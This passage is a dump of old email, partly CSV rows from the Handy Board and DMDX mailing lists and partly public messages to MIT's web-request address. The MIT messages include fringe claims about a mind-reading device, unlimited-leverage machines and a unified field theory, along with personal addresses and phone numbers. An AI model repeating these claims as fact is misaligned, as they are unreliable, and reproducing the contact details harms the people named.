14th Century with modern scientific research. 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For any complaints, please Email us pierre@aromagica.com ",0,0 Matt Austin ,Handy Board Mailing List ,"Tue, 13 Jun 2000 13:46:04 +0100",Motors spinning at startup,"Hi all, I have a problem with the motors connected to my handyboard. When I first turn on the HB, the motors will spin randomly. This happens about every 2-3 times I switch on. I know this problem has come up before on the list, but the post I found didn't answer all my questions. What type of caps should I use, non-polarised? Also what value capacitance should they have? (My motors are 12v [running from HB 9.6v] and draw about 100ma each [2 motors]) The post also mentioned connecting the cap lead that goes to the negative on the motor to the case of the motor, however my robot is differential drive so the +ve and -ve of the motor change depending on which way the robots going, what should I do? Thanks, Matt -------------- ""Sometimes I think that the surest sign that intelligent life exists elsewhere in the Universe is that none of it has ever tried to contact us.."" -Calvin ",0,0 Dirk Stueker ,handyboard@media.mit.edu,"Wed, 14 Jun 2000 10:22:29 +0000",Re: Motors spinning at startup," The problem is the same with LEGO-gear-motors. Even worse, the post says ""... put a wire to the can ..."" but how can you do this with a plastic device? Any help appreciated. Dirk -- ================================================================== Dirk Stueker Zietenstr. 36 26131 Oldenburg Germany Department of Computer Science University of Oldenburg Tel. & Fax: +49 / 441 / 5 39 35 Mobile: +49 / 175 / 4 000 294 ================================================================== Homepage: www.stueker-online.de Email: dirk@stueker-online.de ================================================================== ",0,0 Stephan Adelsberger ,HB Mailing list ,"Wed, 14 Jun 2000 13:06:48 +0200",Re: HB Memory map,"Device Location Notes ===================================== 6811 internal $0000-$00ff Built-in RAM (A1 chip) $0000-$01ff (E1 chip) ----------------------------------------------------------- 6811 control $1000-$103f Built-in registers ----------------------------------------------------------- Expansion I/O $4000-$4fff Memory reads in this range enable the Y1 latch selector, Bank 0 present on the HB Expansion Bus. Memory writes in this range enable the Y0 selector on the Expansion Bus. No devices are present on a stock Handy Board. ----------------------------------------------------------- Expansion I/O $5000-$5fff Reads enable Y3; writes enable Y2. See explanation above. Bank 1 ----------------------------------------------------------- Expansion I/O $6000-$6fff Reads enable Y5; writes enable Y4. See explanation above Bank 2 ---------------------------------------------------------- Digital inputs $7000-$7fff The digital inputs consist of the two switches and sensor ports 10 through 15. A memory read from anywhere in this range returns the value of the digital input byte. --------------------------------------------------------- Motor outputs $7000-$7fff A memory write to anywhere in this range controls the motor outputs. The low four bits are motor direction, and the high four bits are motor enable (1=on). ---------------------------------------------------------- External RAM $8000-$ffff The 32K of battery-backed memory is mapped to the upper 32K block of the 6811 address space. ===================================== -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~ Stephan Adelsberger stephan@adelsberger.com http://go.to/robot ",0,1 Richard Drushel ,handyboard@media.mit.edu,"Thu, 15 Jun 2000 10:52:49 -0400",new version of Rich Drushel's random.c libarary for IC,"I have created a new and better version of my random.c IC library for pseudo-random number generation. The old version had an algorithm that I cooked up myself, and while it was fun to program, and fun to get working in a multitasking environment (locking state machines and all that), the truth is, the algorithm was not very random. The new version implements the ran0() generator from ""Numerical Methods in C"", version 2.0 (1992), pp. 278-279. I have preserved the calling interface to my old random.c functions, however, so all existing code should be completely compatible with the new random.c. I also added some new functions, much requested by my Autonomous Robotics students, to generate random numbers between any specified range. So, if you're using my old random.c, *please* throw it away and replace it with the new one, available via anonymous ftp at: ftp://junior.apk.net/pub/users/drushel/rfd-ic/random.c The old random.c is still there, renamed to random_old.c. This code was developed and tested using the freeware 2.81 version of IC, and runs on both Handy Boards and 6.270 boards. It is no longer dependent upon my math.c math function library. What follows are (1) function descriptions, and (2) results of the benchmarking and statistical validation tests I did on the old and new versions of the pseudo-random number generators. The new code is much smaller, much more random, and 3x faster. If you have any questions or comments, please let me know. I apologize for how kludgy and unrandom the old version of random.c was; but life is a learning experience, right? :-) *Rich* /*****************************************************************************/ /* */ /* PUBLIC FUNCTIONS: */ /* */ /* These functions may be used freely by user programs. */ /* */ /* int random(int mod) ;Random integers from peeking at 2 MHz system */ /* ;clock. mod is a modulo value which can range */ /* ;2 to 32767. */ /* ;Code by Fred G. Martin from lib_hb.c */ /* ;Note by RFD: provided for backward */ /* ;compatibility with existing code. Use in new */ /* ;programs is not encouraged. */ /* */ /* void randomize(int seed) ;Reseeds random number generator to user- */ /* ;defined seed */ /* ;Non-reentrant, so waits until busy flag */ /* ;_RND_BUSY is cleared. */ /* ;Originally made thread-safe by DFM */ /* ;4/27/1997 */ /* */ /* float rndf01(int arg) ;Returns a pseudo-random number (float, range */ /* ;0 to 1) based on value of arg: */ /* ; arg>0 returns random number */ /* ; arg==0 returns last random number (for debug) */ /* ; arg<0 reseeds random number generator */ /* with the last randomize() seed value */ /* and returns the first number in that */ /* series */ /* ;rndf01() is the common workhorse routine for */ /* ;All the other random number routines *except* */ /* ;random(). */ /* ;Note: rndf01() is *NOT* reentrant!! */ /* ;It sets a busy flag _RND_BUSY if another */ /* ;process is currently calling rndf01(). */ /* ;Originally made thread-safe by DFM 4/24/1997 */ /* */ /* int rnd(int arg) ;Returns a pseudo-random number (16-bit signed */ /* ;int, range -32768 to 32767) based on value of */ /* ;arg, as in rndf01(). */ /* ;Provided for backward compatibility with <2.0 */ /* ;versions of random.c. Now identical to */ /* ;rndrangei(-32768,32767,arg). */ /* */ /* int rndrangei(int ilo, int ihi, int arg) ;Returns a pseudo-random */ /* ;number (16-bit signed int) */ /* ;in the range ilo to ihi. */ /* ;arg is as in rndf01(). */ /* */ /* float rndrangef(float flo, float fhi, int arg) ;Returns a pseudo-random */ /* ;number (float) in the */ /* ;range flo to fhi. arg */ /* ;is as in rndf01(). */ /* ;This routine is used by */ /* ;all the rndrange_() */ /* ;functions. */ /* */ /* long rndrangel(long llo, long lhi, int arg) ;Returns a pseudo-random */ /* ;number (32-bit signed long) */ /* ;in the range llo to lhi. */ /* ;arg is as in rndf01(). */ /* */ /*****************************************************************************/ /* ; random.c RAM footprint (bytes) */ /* ;=============================================== */ /* ; v1.2 984 */ /* ; v2.0 486 */ /* */ /* ; statistical information */ /* ; (30000 calls, scaled to 0-99, binsize 1, mean */ /* ; counts/bin, standard error of the mean, min */ /* ; counts/bin, max counts/bin) */ /* ;=============================================== */ /* ; mean s.e.m. min max */ /* ; random() 300.00 15.00 0 587 */ /* ; pre-2.0 rnd() 300.00 34.84 14 2858 */ /* ; 2.0 rnd() 300.00 1.66 256 345 */ /* ; rndf01() 300.00 1.66 256 356 */ /* ; MS QuickBASIC 4.5 300.00 1.73 261 342 */ /* */ /* ; timing information */ /* ; (mean of 30000 calls, msec/value) */ /* ;=============================================== */ /* ; random() 1.68 */ /* ; pre-2.0 rnd() 28.88 */ /* ; 2.0 rnd() 10.16 */ /* ; rndf01() 7.76 */ /* ; rndrangei() 9.94 */ /* ; rndrangef() 9.36 */ /* ; rndrangel() 10.84 */ /* */ -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot""",0,0 Boris New ,DMDX@psy1.psych.arizona.edu,"Fri, 16 Jun 2000 14:35:05 +0200",[DMDX] Variables in Dmdx,"Hi, I love dmdx but I think that it lacks the capacity of using variables: with variables it would gain a lot of power: we could make scripts a lot shorter and a lot more customisable don't you think? Boris ================================== Boris New Centre Universitaire de Boulogne Institut de Psychologie, Université Paris 5 Laboratoire de Psychologie Expérimentale 71, avenue Edouard Vaillant 92774 Boulogne-Billancourt Cedex Tél: 01 55 20 57 36 ********************************** Boris.New@psycho.univ-paris5.fr ********************************** ================================== ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 16 Jun 2000 08:58:52 -0700",[DMDX] Re: Variables in Dmdx,"At 02:35 PM 6/16/00 +0200, you wrote: >Hi, > >I love dmdx but I think that it lacks the capacity of using variables: >with variables it would gain a lot of power: >we could make scripts a lot shorter and a lot more customisable don't you >think? True, however for every feature you add to a program you decrease it's stability. DMDX is currently very stable (like rock, I've never heard of it crashing) so I have been pretty lenient in adding new features, this does not mean however that I'm about to add features just for the hell of it. I was considering adding variables a few weeks ago however there was no demand for them from anyone here (I even tried to solicit people but they could care less), as soon as someone wants to do an experiment that needs them I'll add them. Till then I'm working on version 2 of the code so am not about to go adding new features (unless they are trivial) at the current time. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The ink with which all history is written is merely fluid prejudice. ",0,0 bahador bahrami ,DMDX@psy1.psych.arizona.edu,"Sat, 17 Jun 2000 12:26:56 -0000",[DMDX],"Hi guys, I have been trying to use 600x480(16bpp) video mode and my settings have been saved satisfactorily in Timedx but when i run the rtf file for displaying my BMP images after having completed the trial it reports that 5 display memories have been made in Direct draw using 8bpp color format. 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Best of Regards, Dr Genetics ---- Subject: HPA sponsor wanted Date: Sat, 18 Mar 2000 11:50:11 -0500 (EST) Message-Id: From: OK2BWILDE@JUNO.COM To: web-request@MIT.EDU Errors-To: lisanti@MIT.EDU Have developed compound circular leverage... leverage to increase leverage to i ncrease leverage, with no limits. Unlimited horsepower and torque potential. Would like to create practicle craft and compete with it by the end of fall thi s year in the KREMER INTERNATIONAL HPA COMPETITION. Who can I contact for obtaining sponsors? Look forward to hearing from you. Thanks, Richard L. Wilde ---- Subject: Service of Temporary Restraining Order Message-Id: Date: Sun, 19 Mar 2000 03:00:30 -0500 From: Gene Gaines Mime-Version: 1.0 To: ""Irwin B. Schwartz"" Cc: mailbox@schwartz-nystrom.com, redaktionen@bip.net, web-request@MIT.EDU, mis-team@MIT.EDU, declan@well.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Irwin, old fart: You will have to serve paper on me before I will disclose any information about downloading CP4break.zip. I fully intend to keep on with what I am doing with no interference from you. Have you hear the joke about the thousand lawyers at the bottom of the ocean? In your eye, man. Gene Gaines gene.gaines@attglobal.net 8214-403 Peridot Drive McLean, Virginia 22102 Declan McCullagh wrote: > > Mattel's attorneys have sent me a subpoena. Mattel, which sells > CyberPatrol, has a problem: It wants to know exactly who's been downloading > a program that reveals CyberPatrol's list of off-limits web sites. > > Now, I never mirrored this ""cphack"" utility. But I did post the addresses > of mirror sites to the politech list and the politechbot.com web site -- > and that information source seems to be what attorney Irwin Schwartz is > worried about. Schwartz copied system administrators at MIT, which is where > the list lives. > > Naturally I have no intention of revealing the identities of politech > readers to Mattel or anyone else. Nor is a subpoena sent via email usually > viewed as proper service, at least where I come from. > > I've set up a web site to keep track of all these documents and developments: > http://www.politechbot.com/cyberpatrol/ > > -Declan ---- Subject: important information Date: Sun, 19 Mar 2000 17:37:43 -0500 (EST) Message-Id: From: jabaker574@hotmail.com To: web-request@MIT.EDU Errors-To: lisanti@MIT.EDU There is an important news topic that is relevant to nearly everyone that shoul d be addressed. There is a sophisticated surveillance device that has been dev eloped that allows the ability to monitor a person's thoughts from a distance. This device is far more powerful than wiretapping because a person's inner tho ughts and motives can be listened to rather than just the person's speech. Thi s device is an extreme invasion of an individual's freedom and privacy. In addition to being able to ""listen in"" to a person's thoughts, the device can also be used to input thoughts into a person's mind. When this happens to an individual, it seems as if the person is ""hearing voices"" and they may think th ey are going insane. So, what is particularly devious about this device is tha t it can simulate a psychosis. The device can augment the sense of psychosis b y creating a very painful sensation in a person's mind. It should be noted, th at a psychiatrist would not be able to distinguish whether this person was trul y mentally ill or whether this device was being used on them. So, in effect, t he device can be used to destroy a person's life by simulating a mental illness and it can also be used to incite an individual to commit suicide by creating a great deal of pain in a person's mind. There are other features of the device such as controlling physiologic function s and causing muscle spasms. I realize that this device may seem unbelievable, but I'd like you to think abo ut the ramifications this device has. I cannot offer physical evidence that th is device exists nor can I explain how I know it exists. However, I believe it is one of the most important news items of our time. It represents the loss o f privacy and freedom to those who the device is being used against and can als o be used to murder someone without a trace of evidence by inciting them to com mit suicide. I believe the use of this device should be regulated more closely or banned and its use be made public. Please respond to this e-mail even if you think this sounds completely crazy an d if you know anyone who might be of help, please forward this message. Sincerely, Justin Baker jbaker574@hotmail.com ---- Date: Wed, 19 Jul 2000 06:08:32 -0400 (EDT) From: china.gan.xi.ganxiziyiejisusiuyuan@MIT.EDU To: web-request@MIT.EDU Subject: englishchanese my name is luyuan,if it is impossibale,we will be good friend! ok? I wait for yo u. ---- Date: Sun, 23 Jul 2000 11:06:06 -0400 (EDT) From: ludicool@sina.com To: web-request@MIT.EDU Subject: computer MIT is one of the most famous colleges in the world. I love her and if I have a chance I will try my best to become a member of it. But I am oversea and have li ttle information about it. So I wnat some lastest things happen in your college, especially anything on computer. You know I'm major in computer, so it will let me crazy if I can stand in front of the whole world and in my oppion the MIT is my greatest friend! ---- Date: Wed, 26 Jul 2000 05:33:18 -0400 (EDT) From: pomstars2JUNO.COM@MIT.EDU To: web-request@MIT.EDU Subject: DSERDA'S PHOTO OF MAGGIE THE SUPPOSED PEKAPOO WHO TOLD YOU OR HOW DID HE FIND FACTUAL PROOF SHE WAS A PEKAPOO. I HATE TO ARGUE WITH A INTELECTUAL PERSON SUCH AS HE WHEN I AM A PTSD SURVIVER WITH A LEARNING DISSABILITY BUT ONE THING I AM FOR SURE IS A PEKAPOO EXPERT. WE RECIEVED OUR FIR ST PEKAPOO IN 1958 AND OUR 14TH DIED SIX YEARS AGO. MY SUOLMATE WAS MY BABY BOY WITH FOUR LEGS AND THE GIFT FROM GOD WHO I ADORED, WORSHIPED THE GROUND HE WALKE D ON AND LOST DUE TO A DRUNKEN TEEN DRIVING INTO OUR YARD IN 1969 AND TEARING AW AY 3/4THS OF MY BABY BOYS LIFE AT ONLY 2 YEARS OLD. I HAVE BEEN SEARCHING OFF AN D ON FOR 15 YEARS FOR ANOTHER WHITE ONLY MALE AND SERIOUSLY SEARCHING FOR ONE FO R THE LAST 5 YEARS. IN 1969 THEY GAVE THEM AWAY, NOW THEY COST ANYWHERE FROM %15 0.00 TO $400.00 WHICH I WOULD PAY IN A HEARTBEATS MOMENT IF ALL WHITE PEKAPOOS W ERE NOT ALNOST EXSTINT. HER IS A PHOTO OF A PEKAPOO, A TRUE PEKAPOO, NOT ONE SOM EONE SAYS IS ONE WHO LOOKS LIKE A POODLE/TERRIER. I HAVE RAISED DOGS AND HAD DOG FAMILY MEMBERS WHO JUST HAPPEN! TO BE 4 LEGGED AN WEAR FUR COATS SINCE MY BIRTH IN 1957. I NOW RASIE. BREED AND SELL ONLY THE FINEST CHAPIONSHIP PEDIGREE/BEST IN SHOW/BEST IN BREED BLOODLINE FAMILY MEMBERS FOR 5 YEARS STRAIGHT AKC/CKC TOY POMERANIANS OF THE BEST YOU WILL EVER FIND. POMSTARS@JUNO.COM THE DOG EXPERT WHO WORSHIPS DOGS AND THINK THEY ARE FAR BETTER THAN MOST HUMANS WITH FAR LESS AS GOOD OR BETTER. NO I DO NOT HATE HUMANS, I JUST HAVE THE GIFT OF COMMUNICATEING AND LIVING WITH SUPIERIOR OR HOW EVER YO SPELL IT SOULMATES. IT WILL NOT LET ME INSERT, PASTE OR ATTACH HIS PHOTO BUT I WILL SEND IT THROUGH REGULAR E-MAIL ---- Date: Thu, 27 Jul 2000 14:58:52 EDT To: From: hbegley@stlnet.com Subject: art info Return-Path: daemon Mime-Version: 1.0 X-Priority: 3 X-Msmail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0006_01BFF7DB.2D8D59C0"" Content-Length: 1477 Hi, I am a Boy Scout trying to find out information about the field of art for a meritbadge. I need to what is the ""proper"" way to become an artist meaning is any sort of school required? I also need info about what an artists job entails and what they do on a daily basis. If you can please email me ASAP it would be greatly appreciated. Thank You, Devin Begley ----- Return-Path: daemon Received: from MIT.EDU (PACIFIC-CARRIER-ANNEX.MIT.EDU [18.69.0.28]) by menelaus.mit.edu (8.9.3) wi th SMTP id OAA04100; Thu, 27 Jul 2000 14:08:58 -0400 (EDT) Received: from GRAND-CENTRAL-STATION.MIT.EDU by MIT.EDU with SMTP id AA09800; Thu, 27 Jul 00 14:09:43 EDT Received: from melbourne-city-street.MIT.EDU (MELBOURNE-CITY-STREET.MIT.EDU [18.69.0.45]) by grand-central-station.MIT.EDU (8.9.2/8.9.2) with ESMTP id OAA27098 for ; Thu, 27 Jul 2000 14:08:56 -0400 (EDT) Received: from pellenes-shoshonensis.mit.edu (PELLENES-SHOSHONENSIS.MIT.EDU [18.72.0.42]) by melbourne-city-street.MIT.EDU (8.9.3/8.9.2) with ESMTP id OAA12375 for ; Thu, 27 Jul 2000 14:08:56 -0400 (EDT) Received: (from www@localhost) by pellenes-shoshonensis.mit.edu (8.9.3+Sun) id OAA26989; Thu, 27 Jul 2000 14:08:56 -0400 (EDT) Date: Thu, 27 Jul 2000 14:08:56 -0400 (EDT) Message-Id: <200007271808.OAA26989@pellenes-shoshonensis.mit.edu> Received: from 207.87.45.194 by web-forms.mit.edu with HTTP; Thu, 27 Jul 2000 14:08:56 EDT X-Mailer: cgiemail 1.3 (form=""http://web.mit.edu/comment-form.html"") (action=""/bin/cgiemail/afs/net/admin/www/root/comment-form.txt"") From: ss182@cornell.edu To: web-request@MIT.EDU Subject: you guys suck Errors-To: lisanti@MIT.EDU Content-Type: text Content-Length: 263 God, you guys are losers. I go to Cornell and I thought those kids sucked, but you guys suck alot . Please respond. ---- From: ""B75Ocool"" To: MIT@sina.com Subject: Thanks for your communicating with me Date: Wed Aug 2 12:06:38 2000 X-Mailer: SinaMail 3.0Beta (FireToad) I'm glad to have recieved your letter on line. You know, it is very important to me. It is a good chance for me to get more and more, newer and newer informa tion from a great university oversea. Different countries have different culture s. From you, I can fill myself in a whole different new way,so lucky am I! I have visited some E-mail addresses you gave me last time and I find a lot of useful information in them. Thank you for your kindness and unselfishness. I be lieve that our friendship will be for ever. Now I have a small request. These days I'm working hard for becoming an MCSE. As you know, this certification is difficult for me to get. For some reasons, I must prepare for the courses of the version of Windows2000. There are few exerci ses and reviewal materials around me, especially for some useful tests. I think if it is possible, can you find some useful materials, exercises and tests or so me information about this for me? If you can, I'll be very greatful to your help . Once again, Thank you! LuDi ----- Date: Thu, 3 Aug 2000 09:28:27 -0400 (EDT) From: schwarz@MIT.EDU To: web-request@MIT.EDU Subject: praise for MIT home page Many times when I have gone to the MIT home page (which is my default home page in my browser) I have admired the home page simplicity and beauty. So far I have looked at it quietly, but I think who ever is responsible for both the concept and the execution should receive some praise. The graphics usually comment on, d isplay, represent, or play with the spotlight or a current theme in an interesti ng way and often I have to smile how smart, witty, and pretty they are. In my vi ew it is a wonderful representation of MIT's unique combination of thoughtfulnes s and playfulness. Thanks - keep going! Heinrich Schwarz Program in Science, Technology, Society ----- Date: Mon, 28 Aug 2000 05:20:55 -0400 (EDT) From: taichi112@hotmail.com To: web-request@MIT.EDU (MIT Webmasters) Subject: Web design using Frontpage 2000 Dear Sir, Iam a student from HongKong and have some questions in designing my webpage usi ng MS Frontpage 2000 : 1) How to insert a music/sound into a webpage as a background music, eg. mp3 2) How to link the information filled in a form( such as a guestbook form) into an Excel or Access file automatically 3) How to make a search engine to find information or links in my webpages only, OR use the existing search engines to insert into my webpage and edit them for internal use. 4) How to make a pop-up menu 5) How to set a password to restrict people to access one of my webpages 6) How to make an animation (*.gif) picture Cheers, Jack ----- Date: Fri, 20 Oct 2000 13:59:56 -0400 (EDT) From: sorrento@MIT.EDU To: web-request@MIT.EDU Subject: MIT Web Page It's almost 2 pm. Do you know where your home page is? JoAnn ----- Date: Mon, 30 Oct 2000 22:59:19 GMT To: web-request@MIT.EDU cc: afrazer@MIT.EDU From: ""Trent Drenon"" Subject: Does MIT allow this? Who would want to go to a school that allows resources to be used like this. http://fuck-the-skull-of-jesus.mit.edu/ http://fuck-the-skull-of-jesus.mit.edu/di.html Trent EE Cal Poly SLO ----- Date: Fri, 03 Nov 2000 18:35:09 GMT To: web-request@MIT.EDU From: ""rajenderpetwal2000 prasad"" Subject: Re: mit thanks for your ad i try any palitform service what you thik i can do job government sectore i am doing mit from manipal form india can you seuses me idia pl thanks ----- Date: Wed, 15 Nov 2000 11:19:22 -0500 (EST) From: alexross53@hotmail.com To: web-request@MIT.EDU Subject: Unified Field Theory To whom it may concern, Before reading this message may I advise you to show initiative and contact your superior. This is a sensible precaution even if my message proves of no value, which is not the case anyway. I contacted the United Kingdom Atomic Energy Authority in August 1999 to tell th em I had discovered a Theory of Gravity. Since then I have achieved the followin g successes: A Unified Field Theory completed November 1999 Faster than Light Communication shown possible. Electron Shell positions fixed. Path and Position of any Electron found. Mathematical Proof of the Unified Field Theory. Further progress, I do not wish to disclose here. Unfortunately, I have not found anyone willing to be scientifically objective an d listen to my objections to Quantum Mechanics. I can find no one who is prepared to help me, rather than themselves, claim a No bel Prize. Are you in a position to help? >From Mr Alexander Scott Ross, 7, Midland Street, Accrington, Lancashire, England, BB5 2AX. Telephone 01254 238 558. Email alexross53@hotmail.com I estimate the Western Alliance spends approximately #1 billion per annum lookin g for this theory. That is #3 million per day! Furthermore no one has ever made a similar claim as mine. In fact the nuclear industry in the U.K. is not prepare d to defend Quantum Mechanics so from a scientific point of view you would have to acknowledge my theory as superceding it. ----- Date: Sun, 3 Dec 2000 02:08:19 -0500 (EST) From: ihaterepublicans@hotmail.com To: web-request@MIT.EDU Subject: you site design Hello, my name is Mike Link and somehow I came across your site. I was expecting it to be impressive, being that this was an instit tion of technology. I was wrong. I'm not being rude or anything, it's just I would like an opportunity to get in touch with the web aster and possibly redesign the site. I would do this for free since I really am just looking for experience. Please e-mail me bac no matter what your decision is. Thanks. -Mike Link --- This message was sent using http://web.mit.edu/comment-form.html. The address ihaterepublicans@hotmail.com was typed manually, and may be incorrect. ----- Date: Sun, 03 Dec 2000 09:57:40 +0200 To: web-request@MIT.EDU From: ""YuSuF KaNDiL"" Subject: SuperContacdur,Magnetic Area i am a Student in Turkey.I want do a proje.But I haven't got some information. Very Much yet.Can You give me some detail information about Supercontacdur, magnetic area and diamagnet. If you send information about this subject , I will be very happy. Sorry , I don't know English very good. ____________________________________________________________________________ Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com ----- Date: Mon, 4 Dec 2000 03:47:07 -0500 (EST) From: hgljn99059@163.net To: web-request@MIT.EDU Subject: May I get the internal standard image? Well-beloved Mister: I am a student,I study image compression and need internal standard image(such as:Lenna,Girl,Man,etc). Can you help me? your truely:Lin jinan On Dec,4,2000 ----- Date: Mon, 4 Dec 2000 18:48:55 -0500 (EST) From: www.Shefali5510@.com To: web-request@MIT.EDU Subject: my dad and MIT you see my sister is applying to colleges when I heard my dad say when he first came from India over here to the U.S.A. my dad said he wanted to go to MIT now I hear this is a really good college but he had to get money so he had to work but did he go to MIT no no w I feel really sad for myddad but if only he could go now but my dad can't quit his job just to go to MIT ----- Date: Tue, 5 Dec 2000 20:37:03 +0800 (CST) From: ""AV, and aware that the WebTV ""Bryant 7r"" computer was off line for nearly a two week period Thanksgivin g, and they had to convert Accounts to ""Bryant Bryant"", I believed you would want to be made aware that apparently, the Microsoft mainframe at Redmond, Washington, may be `bugged', and that the website could be involved, if linked to the Microsoft mainframe - however, don't hold me to that, it is just the way these returned Emails look, with that website in them. I don't know, but thought it would be wiser to let you know. Oh, I deal in antique books, and one of the very old AOL books has the original site listed as the most comprehensive search engine, in the standard file types chapter, for AOL 3.0, but again, this book came out before AOL 3.0 - and it is without copyright or Library of Congress id, just a book they mailed to individuals that they thought would use th e service, back when they were poor. Cordially, Joe Allison formerly: Copyright Clerk General Services Administration R3, Washington, DC 1965-1966 home: (770) 457-6214 (Atlanta, Georgia) Email: ICBTVinventor@webtv.net ----- Date: Wed, 3 Jan 2001 08:35:14 -0500 (EST) From: DOUGLASAS@2MAWCP.USMC.MIL To: web-request@MIT.EDU Subject: FUEL CELLS IS IT POSSIBLE TO USE (E100)ETHANOL VICE (M100)METHANOL TO REFUEL A FUEL CELL? ----- Date: Wed, 3 Jan 2001 23:02:43 -0500 (EST) From: ivanux@mail.ru To: campus-map@MIT.EDU Subject: petition i need domain name mgn.mit.edu , what i can do to give it zone to my IP adgess 195.128.132.49 and i need delegation it zone? best regals, Smirnov Igor (admin of ApolloLocalNet) ----- Date: Mon, 8 Jan 2001 06:19:47 -0500 (EST) From: m_shabaznezhad@hotmail.com To: web-request@MIT.EDU Subject: scollarship IN THE NAME OF GOD I want some information about your scollarship. please send me the condition of your scollarship. plaese send acopy to BAQERIAN_MOHSSEN@YAHOO.COM THANKS A LOT. ----- Date: Fri, 12 Jan 2001 06:48:57 -0500 (EST) From: ORLY_GINOSSAR@HOTMAIL.COM To: web-request@MIT.EDU Subject: NEUROPSYCHOLOGY Errors-To: lisanti@MIT.EDU I WOULD LIKE TO HAVE SOME HELP WITH EVERYTHING THAT HAS TO DO WITH EXSECUTIVE FUNCTION NOT AFTER INJERIES BUT DEVELOP MENTAL. THANK YOU FOR YOUR HELP ORLY GINOSSAR ----- From: removals@prontomail.com Date: Wed, 17 Jan 01 01:14:05 EST To: Friend@public.com Subject: BLACK GOLD REICIPE FOR FREE SMOKING:- STIR 500 SEEDS INTO SOIL (YOU PROVIDE SOIL), SIMMER FOR 10 WEEKS. NOW INTRODUCE THE PLANTS TO YOUR GARDEN, THEY WILL BE VISITING YOU R FLOWER BEDS FOR 3 TO 4 MONTHS. YOU WILL BE ACCUSED OF GROWING POT PLANTS, LAUG H IT OFF. TO FIND OUT MORE GO TO THE SITE, IT IS PACKED WITH INFORMATION, AND SE E THE FILM ON PAGE ONE FOR THE END PRODUCT! 50 Tobacco plants and 1x8 metres of garden = 5000 cigarettes worth nearly #1000. Our kit contains 500 seeds, you work it out. If you smoke and have green / nicot ine stained fingers, stuck for a Challenge in the New Year, try an outdoor hobby . If you are a non smoker and think this will encorage people to smoke, forget i t! It takes a commited smoker to spend 4 months during there Summer in the garde n growing this weed, only to set fire to it afterwards.Visit www.smoke4free.com , we provide the seeds and full instructions on growing to curing, on line help, and free membership with your order. ----- Date: Thu, 18 Jan 2001 13:56:02 -0500 (EST) From: one-a@libero.it To: web-request@MIT.EDU Subject: bonsai kitten atrocity site at MIT Dear Sirs, It appears that MIT is related to a site of remarkable bad taste and atrocity: www.bonsaikitten.com We have made a trace and this site appears on the internet also as: blood-on-concrete.mit.edu Although it is unclear wether the site is a provocation or not, we REQUIRE that you take immediate action against the site and the people (presumably MIT students) who set it up. Otherwise we shall contact the local press about it. Waiting for your reply soon, Sincerely, ----- Date: Thu, 25 Jan 2001 16:54:14 -0500 (EST) From: Ariel.Orly@MIT.EDU To: web-request@MIT.EDU Subject: cromozons little research MIT Uinversity hello! My name is Ariel Orly, I am 16 years old, and realy love science, while dreaming to get in to your Uinversity one day (with no hope). Mean while I am being bored at home and I wanted to ask you if you can send me a list of all the animals known to us (were and are) with the number of their cromozons for a little research of mine. please let me know if you agree or not by icq num 78808966 cause my E-mail does't work. With thanks Ariel Orly Israel ----- Date: Sat, 27 Jan 2001 08:30:39 -0500 (EST) From: 798@nu.edu.pk To: web-request@MIT.EDU Subject: request Can u send me some of the topics of the research papers in MIT . Thanking you in anticipation ----- Date: Tue, 30 Jan 2001 21:49:43 +0300 To: From: ""ajabbar"" Subject: ENQUIRY ABOUT MASTERS DEGREE PROGRAMS IN COMPUTER ENGINEERING TO MASSACHUSETTS INSTITUTE OF TECHNOLOGY Dear Sirs, Would you please kindly let me know if you have Masters Degree Programmes in Computer Engineering. Thanking you ABDUL JABBAR ----- Date: Thu, 1 Feb 2001 02:52:47 -0500 (EST) From: b_enayati@yahoo.com To: web-request@MIT.EDU Subject: applying a book Hi dear: I am a power Electronic student in Tabriz(Iran) University.My project is about injecting VAR to the power lines by multi-level inverters.I need more knowlege about it.If it's possible for you to send me a book or any information about that , please contact b_enayati@yahoo.com - Thank you- Yours sincerly ----- Date: Thu, 1 Feb 2001 00:45:10 -0800 (PST) From: =?iso-8859-1?q?jamie=20redknapp?= Subject: How much for bachelor degree? To: web-request@mit.edu Hi, how muh is a bachelor degree? Willing to pay any price? Thanks ----- Date: Wed, 31 Jan 2001 18:35:20 -0500 (EST) From: fab-cybernetica@terra.com.co To: web-request@MIT.EDU Subject: A new searching by teaching foreing languages though cybernetics I have ever been a cyberneticsian searcher for twenty years. I am the lastest and fastest teaching and learning a foreing language as a sec ond language way founder through cybernetics. A second language learner can speak a second language in 60 hours wihtout books, tapes and r ecords. My name is Jaime E. Garcia. I will expect your reply. What can We do now? ----- Date: Sat, 3 Feb 2001 19:21:19 -0500 (EST) From: splackavellie88@hotmail.com To: web-request@MIT.EDU Subject: Aviation What courses do you have that will assist me in my goal to become a helicopter pilot. How much is tuition prior to scholarships? What make sthis school different from other colleges? ----- Date: Sat, 3 Feb 2001 14:34:37 -0500 (EST) From: The_Spinks_Family@email.msn.com To: web-request@MIT.EDU Subject: PGP Server I was curious as to why a friend down the street can connect to your pgp key server through AOL and I can't connect via MSN. I would ha ve no problems leaving MSN if you think that this problem might be do to that (in my opinion) pontificating prick Bill Gates. Thank You Robert Spinks El Paso Texas 79932 ----- Date: Mon, 5 Feb 2001 00:53:40 -0500 (EST) From: lorpas@bol.com.br To: web-request@MIT.EDU Subject: i like to study in mit I live in Brazil I am finishing the collegiate year that comes as mit sloan makes for I me to tun a academic of mit. I wait reply ----- Date: Tue, 6 Feb 2001 16:15:58 -0500 (EST) From: murphylg@usit.net To: web-request@MIT.EDU Subject: shot given to mice for weight loss I saw a segment on The Today Show on 2/6/01. It mentioned that the research on obesity was being done at your facility(MIT). It showed lab mice being allowed to eat until morbid obesity and then without any chane to their diet they were i njected with a protein found naturally in our bodies and the mice was able to re duce the body fat. When will this be available to the consumer? And also when will you test this on humans? How can I participate in the human trials and tes ting? 